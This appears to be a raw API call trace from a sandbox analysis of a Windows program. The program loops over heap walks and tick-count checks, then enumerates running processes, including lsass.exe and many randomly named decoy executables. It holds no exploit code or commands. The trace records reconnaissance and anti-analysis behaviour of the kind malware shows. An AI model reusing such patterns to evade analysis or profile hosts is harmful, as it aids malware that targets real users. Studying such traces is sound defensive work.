GetCurrentThreadId () returned 0x9fc [0116.410] GetCurrentThreadId () returned 0x9fc [0116.410] GetCurrentThreadId () returned 0x9fc [0116.410] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.410] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.410] Heap32Next (lphe=0x18f638) returned 1 [0116.420] GetTickCount () returned 0x114fda1 [0116.420] GetCurrentThreadId () returned 0x9fc [0116.420] GetCurrentThreadId () returned 0x9fc [0116.420] GetCurrentThreadId () returned 0x9fc [0116.420] GetCurrentThreadId () returned 0x9fc [0116.420] GetCurrentThreadId () returned 0x9fc [0116.420] GetCurrentThreadId () returned 0x9fc [0116.420] GetCurrentThreadId () returned 0x9fc [0116.420] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.420] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.420] Heap32Next (lphe=0x18f638) returned 1 [0116.430] GetTickCount () returned 0x114fdb0 [0116.430] GetCurrentThreadId () returned 0x9fc [0116.430] GetCurrentThreadId () returned 0x9fc [0116.430] GetCurrentThreadId () returned 0x9fc [0116.430] GetCurrentThreadId () returned 0x9fc [0116.430] GetCurrentThreadId () returned 0x9fc [0116.430] GetCurrentThreadId () returned 0x9fc [0116.430] GetCurrentThreadId () returned 0x9fc [0116.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.430] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.430] Heap32Next (lphe=0x18f638) returned 1 [0116.503] GetTickCount () returned 0x114fdef [0116.503] GetCurrentThreadId () returned 0x9fc [0116.503] GetCurrentThreadId () returned 0x9fc [0116.503] GetCurrentThreadId () returned 0x9fc [0116.503] GetCurrentThreadId () returned 0x9fc [0116.503] GetCurrentThreadId () returned 0x9fc [0116.503] GetCurrentThreadId () returned 0x9fc [0116.503] GetCurrentThreadId () returned 0x9fc [0116.503] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.504] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.504] Heap32Next (lphe=0x18f638) returned 1 [0116.513] GetTickCount () returned 0x114fdef [0116.513] GetCurrentThreadId () returned 0x9fc [0116.513] GetCurrentThreadId () returned 0x9fc [0116.513] GetCurrentThreadId () returned 0x9fc [0116.513] GetCurrentThreadId () returned 0x9fc [0116.513] GetCurrentThreadId () returned 0x9fc [0116.513] GetCurrentThreadId () returned 0x9fc [0116.513] GetCurrentThreadId () returned 0x9fc [0116.513] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.514] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.514] Heap32Next (lphe=0x18f638) returned 1 [0116.539] GetTickCount () returned 0x114fe0e [0116.539] GetCurrentThreadId () returned 0x9fc [0116.539] GetCurrentThreadId () returned 0x9fc [0116.539] GetCurrentThreadId () returned 0x9fc [0116.540] GetCurrentThreadId () returned 0x9fc [0116.540] GetCurrentThreadId () returned 0x9fc [0116.540] GetCurrentThreadId () returned 0x9fc [0116.540] GetCurrentThreadId () returned 0x9fc [0116.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.540] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.540] Heap32Next (lphe=0x18f638) returned 1 [0116.549] GetTickCount () returned 0x114fe1e [0116.549] GetCurrentThreadId () returned 0x9fc [0116.549] GetCurrentThreadId () returned 0x9fc [0116.549] GetCurrentThreadId () returned 0x9fc [0116.549] GetCurrentThreadId () returned 0x9fc [0116.549] GetCurrentThreadId () returned 0x9fc [0116.549] GetCurrentThreadId () returned 0x9fc [0116.549] GetCurrentThreadId () returned 0x9fc [0116.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.550] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.550] Heap32Next (lphe=0x18f638) returned 1 [0116.559] GetTickCount () returned 0x114fe1e [0116.559] GetCurrentThreadId () returned 0x9fc [0116.559] GetCurrentThreadId () returned 0x9fc [0116.559] GetCurrentThreadId () returned 0x9fc [0116.559] GetCurrentThreadId () returned 0x9fc [0116.559] GetCurrentThreadId () returned 0x9fc [0116.559] GetCurrentThreadId () returned 0x9fc [0116.559] GetCurrentThreadId () returned 0x9fc [0116.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.559] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.559] Heap32Next (lphe=0x18f638) returned 1 [0116.580] GetTickCount () returned 0x114fe3d [0116.580] GetCurrentThreadId () returned 0x9fc [0116.580] GetCurrentThreadId () returned 0x9fc [0116.580] GetCurrentThreadId () returned 0x9fc [0116.580] GetCurrentThreadId () returned 0x9fc [0116.580] GetCurrentThreadId () returned 0x9fc [0116.580] GetCurrentThreadId () returned 0x9fc [0116.580] GetCurrentThreadId () returned 0x9fc [0116.580] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.580] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.580] Heap32Next (lphe=0x18f638) returned 1 [0116.589] GetTickCount () returned 0x114fe3d [0116.589] GetCurrentThreadId () returned 0x9fc [0116.589] GetCurrentThreadId () returned 0x9fc [0116.589] GetCurrentThreadId () returned 0x9fc [0116.589] GetCurrentThreadId () returned 0x9fc [0116.589] GetCurrentThreadId () returned 0x9fc [0116.589] GetCurrentThreadId () returned 0x9fc [0116.590] GetCurrentThreadId () returned 0x9fc [0116.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.590] Heap32Next (lphe=0x18f638) returned 1 [0116.599] GetTickCount () returned 0x114fe4c [0116.599] GetCurrentThreadId () returned 0x9fc [0116.599] GetCurrentThreadId () returned 0x9fc [0116.599] GetCurrentThreadId () returned 0x9fc [0116.599] GetCurrentThreadId () returned 0x9fc [0116.599] GetCurrentThreadId () returned 0x9fc [0116.599] GetCurrentThreadId () returned 0x9fc [0116.599] GetCurrentThreadId () returned 0x9fc [0116.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d252f0 [0116.599] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d252f0 | out: hHeap=0x2a0000) returned 1 [0116.599] Heap32Next (lphe=0x18f638) returned 1 [0116.624] GetTickCount () returned 0x114fe6c [0116.624] GetCurrentThreadId () returned 0x9fc [0116.624] GetCurrentThreadId () returned 0x9fc [0116.624] GetCurrentThreadId () returned 0x9fc [0116.624] GetCurrentThreadId () returned 0x9fc [0116.624] Heap32Next (lphe=0x18f638) returned 1 [0116.634] GetTickCount () returned 0x114fe6c [0116.634] GetCurrentThreadId () returned 0x9fc [0116.634] Heap32Next (lphe=0x18f638) returned 1 [0116.643] GetTickCount () returned 0x114fe7b [0116.643] GetCurrentThreadId () returned 0x9fc [0116.643] Heap32Next (lphe=0x18f638) returned 1 [0116.654] GetTickCount () returned 0x114fe7b [0116.654] GetCurrentThreadId () returned 0x9fc [0116.654] Heap32Next (lphe=0x18f638) returned 1 [0116.680] GetTickCount () returned 0x114fe9a [0116.680] GetCurrentThreadId () returned 0x9fc [0116.680] Heap32Next (lphe=0x18f638) returned 1 [0116.689] GetTickCount () returned 0x114feaa [0116.689] GetCurrentThreadId () returned 0x9fc [0116.690] Heap32Next (lphe=0x18f638) returned 1 [0116.699] GetTickCount () returned 0x114feaa [0116.699] GetCurrentThreadId () returned 0x9fc [0116.699] Heap32Next (lphe=0x18f638) returned 1 [0116.708] GetTickCount () returned 0x114feba [0116.708] GetCurrentThreadId () returned 0x9fc [0116.708] Heap32Next (lphe=0x18f638) returned 1 [0116.719] GetTickCount () returned 0x114fec9 [0116.719] GetCurrentThreadId () returned 0x9fc [0116.719] Heap32Next (lphe=0x18f638) returned 1 [0116.728] GetTickCount () returned 0x114fec9 [0116.728] GetCurrentThreadId () returned 0x9fc [0116.728] Heap32Next (lphe=0x18f638) returned 1 [0116.737] GetTickCount () returned 0x114fed9 [0116.738] GetCurrentThreadId () returned 0x9fc [0116.738] Heap32Next (lphe=0x18f638) returned 1 [0116.747] GetTickCount () returned 0x114fed9 [0116.747] GetCurrentThreadId () returned 0x9fc [0116.747] Heap32Next (lphe=0x18f638) returned 1 [0116.756] GetTickCount () returned 0x114fee8 [0116.756] GetCurrentThreadId () returned 0x9fc [0116.757] Heap32Next (lphe=0x18f638) returned 1 [0116.771] GetTickCount () returned 0x114fef8 [0116.771] GetCurrentThreadId () returned 0x9fc [0116.771] Heap32Next (lphe=0x18f638) returned 1 [0116.780] GetTickCount () returned 0x114ff08 [0116.780] GetCurrentThreadId () returned 0x9fc [0116.780] Heap32Next (lphe=0x18f638) returned 1 [0116.789] GetTickCount () returned 0x114ff08 [0116.789] GetCurrentThreadId () returned 0x9fc [0116.790] Heap32Next (lphe=0x18f638) returned 1 [0116.799] GetTickCount () returned 0x114ff17 [0116.799] GetCurrentThreadId () returned 0x9fc [0116.799] Heap32Next (lphe=0x18f638) returned 1 [0116.808] GetTickCount () returned 0x114ff17 [0116.808] GetCurrentThreadId () returned 0x9fc [0116.808] Heap32Next (lphe=0x18f638) returned 1 [0116.830] GetTickCount () returned 0x114ff36 [0116.830] GetCurrentThreadId () returned 0x9fc [0116.830] Heap32Next (lphe=0x18f638) returned 1 [0116.839] GetTickCount () returned 0x114ff36 [0116.839] GetCurrentThreadId () returned 0x9fc [0116.840] Heap32Next (lphe=0x18f638) returned 1 [0116.849] GetTickCount () returned 0x114ff46 [0116.849] GetCurrentThreadId () returned 0x9fc [0116.849] Heap32Next (lphe=0x18f638) returned 1 [0116.859] GetTickCount () returned 0x114ff56 [0116.859] GetCurrentThreadId () returned 0x9fc [0116.859] Heap32Next (lphe=0x18f638) returned 1 [0116.869] GetTickCount () returned 0x114ff56 [0116.869] GetCurrentThreadId () returned 0x9fc [0116.869] Heap32Next (lphe=0x18f638) returned 1 [0116.878] GetTickCount () returned 0x114ff65 [0116.878] GetCurrentThreadId () returned 0x9fc [0116.879] Heap32Next (lphe=0x18f638) returned 1 [0116.888] GetTickCount () returned 0x114ff65 [0116.888] GetCurrentThreadId () returned 0x9fc [0116.888] Heap32Next (lphe=0x18f638) returned 1 [0116.897] GetTickCount () returned 0x114ff75 [0116.897] GetCurrentThreadId () returned 0x9fc [0116.897] Heap32Next (lphe=0x18f638) returned 1 [0116.913] GetTickCount () returned 0x114ff84 [0116.913] GetCurrentThreadId () returned 0x9fc [0116.913] Heap32Next (lphe=0x18f638) returned 1 [0116.923] GetTickCount () returned 0x114ff94 [0116.923] GetCurrentThreadId () returned 0x9fc [0116.923] Heap32Next (lphe=0x18f638) returned 1 [0116.932] GetTickCount () returned 0x114ff94 [0116.932] GetCurrentThreadId () returned 0x9fc [0116.932] Heap32Next (lphe=0x18f638) returned 1 [0116.941] GetTickCount () returned 0x114ffa4 [0116.941] GetCurrentThreadId () returned 0x9fc [0116.941] Heap32Next (lphe=0x18f638) returned 1 [0116.955] GetTickCount () returned 0x114ffb3 [0116.955] Heap32ListNext (hSnapshot=0x280, lphl=0x18f678) returned 1 [0116.956] GetTickCount () returned 0x114ffb3 [0116.956] GetTickCount () returned 0x114ffb3 [0116.956] Process32First (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.957] GetCurrentThreadId () returned 0x9fc [0116.957] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.958] GetTickCount () returned 0x114ffb3 [0116.958] GetCurrentThreadId () returned 0x9fc [0116.959] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.960] GetTickCount () returned 0x114ffb3 [0116.960] GetCurrentThreadId () returned 0x9fc [0116.960] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.961] GetTickCount () returned 0x114ffb3 [0116.961] GetCurrentThreadId () returned 0x9fc [0116.961] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.962] GetTickCount () returned 0x114ffb3 [0116.962] GetCurrentThreadId () returned 0x9fc [0116.962] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.963] GetTickCount () returned 0x114ffb3 [0116.963] GetCurrentThreadId () returned 0x9fc [0116.964] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.965] GetTickCount () returned 0x114ffb3 [0116.965] GetCurrentThreadId () returned 0x9fc [0116.965] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.966] GetTickCount () returned 0x114ffb3 [0116.966] GetCurrentThreadId () returned 0x9fc [0116.966] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.967] GetTickCount () returned 0x114ffc3 [0116.967] GetCurrentThreadId () returned 0x9fc [0116.967] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0116.968] GetTickCount () returned 0x114ffc3 [0116.969] GetCurrentThreadId () returned 0x9fc [0116.969] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.970] GetTickCount () returned 0x114ffc3 [0116.970] GetCurrentThreadId () returned 0x9fc [0116.970] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.971] GetTickCount () returned 0x114ffc3 [0116.971] GetCurrentThreadId () returned 0x9fc [0116.971] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.972] GetTickCount () returned 0x114ffc3 [0116.972] GetCurrentThreadId () returned 0x9fc [0116.972] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.973] GetTickCount () returned 0x114ffc3 [0116.973] GetCurrentThreadId () returned 0x9fc [0116.974] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.975] GetTickCount () returned 0x114ffc3 [0116.975] GetCurrentThreadId () returned 0x9fc [0116.975] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.976] GetTickCount () returned 0x114ffc3 [0116.976] GetCurrentThreadId () returned 0x9fc [0116.976] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.977] GetTickCount () returned 0x114ffc3 [0116.977] GetCurrentThreadId () returned 0x9fc [0116.977] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.978] GetTickCount () returned 0x114ffc3 [0116.978] GetCurrentThreadId () returned 0x9fc [0116.979] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.980] GetTickCount () returned 0x114ffc3 [0116.980] GetCurrentThreadId () returned 0x9fc [0116.980] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.981] GetTickCount () returned 0x114ffc3 [0116.981] GetCurrentThreadId () returned 0x9fc [0116.981] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.982] GetTickCount () returned 0x114ffd2 [0116.982] GetCurrentThreadId () returned 0x9fc [0116.982] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.983] GetTickCount () returned 0x114ffd2 [0116.984] GetCurrentThreadId () returned 0x9fc [0116.984] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.985] GetTickCount () returned 0x114ffd2 [0116.985] GetCurrentThreadId () returned 0x9fc [0116.985] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.986] GetTickCount () returned 0x114ffd2 [0116.986] GetCurrentThreadId () returned 0x9fc [0116.986] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist-nick.exe")) returned 1 [0116.987] GetTickCount () returned 0x114ffd2 [0116.987] GetCurrentThreadId () returned 0x9fc [0116.987] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="palepromotion.exe")) returned 1 [0116.989] GetTickCount () returned 0x114ffd2 [0116.989] GetCurrentThreadId () returned 0x9fc [0116.989] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="incidents_requests_moreover.exe")) returned 1 [0116.990] GetTickCount () returned 0x114ffd2 [0116.990] GetCurrentThreadId () returned 0x9fc [0116.990] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="undertaken.exe")) returned 1 [0116.991] GetTickCount () returned 0x114ffd2 [0116.991] GetCurrentThreadId () returned 0x9fc [0116.991] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dressed.exe")) returned 1 [0116.992] GetTickCount () returned 0x114ffd2 [0116.992] GetCurrentThreadId () returned 0x9fc [0116.992] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cr_tier.exe")) returned 1 [0116.993] GetTickCount () returned 0x114ffd2 [0116.994] GetCurrentThreadId () returned 0x9fc [0116.994] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="oops terry.exe")) returned 1 [0116.995] GetTickCount () returned 0x114ffd2 [0116.995] GetCurrentThreadId () returned 0x9fc [0116.995] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sum-poem-stanley.exe")) returned 1 [0116.996] GetTickCount () returned 0x114ffd2 [0116.996] GetCurrentThreadId () returned 0x9fc [0116.996] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="apparel mercedes.exe")) returned 1 [0116.997] GetTickCount () returned 0x114ffd2 [0117.000] GetCurrentThreadId () returned 0x9fc [0117.001] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="want-robinson.exe")) returned 1 [0117.002] GetTickCount () returned 0x114ffe2 [0117.002] GetCurrentThreadId () returned 0x9fc [0117.002] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nissan_extension.exe")) returned 1 [0117.003] GetTickCount () returned 0x114ffe2 [0117.003] GetCurrentThreadId () returned 0x9fc [0117.003] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="keyboard_remained_lucky.exe")) returned 1 [0117.004] GetTickCount () returned 0x114ffe2 [0117.004] GetCurrentThreadId () returned 0x9fc [0117.005] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="origin.exe")) returned 1 [0117.006] GetTickCount () returned 0x114ffe2 [0117.006] GetCurrentThreadId () returned 0x9fc [0117.006] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="exploringaidsoasis.exe")) returned 1 [0117.007] GetTickCount () returned 0x114ffe2 [0117.007] GetCurrentThreadId () returned 0x9fc [0117.007] Process32Next (in: hSnapshot=0x280, lppe=0x18f8f4 | out: lppe=0x18f8f4*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="checklist.exe")) returned 1 [0117.008] GetTickCount () returned 0x114ffe2 [0117.008] 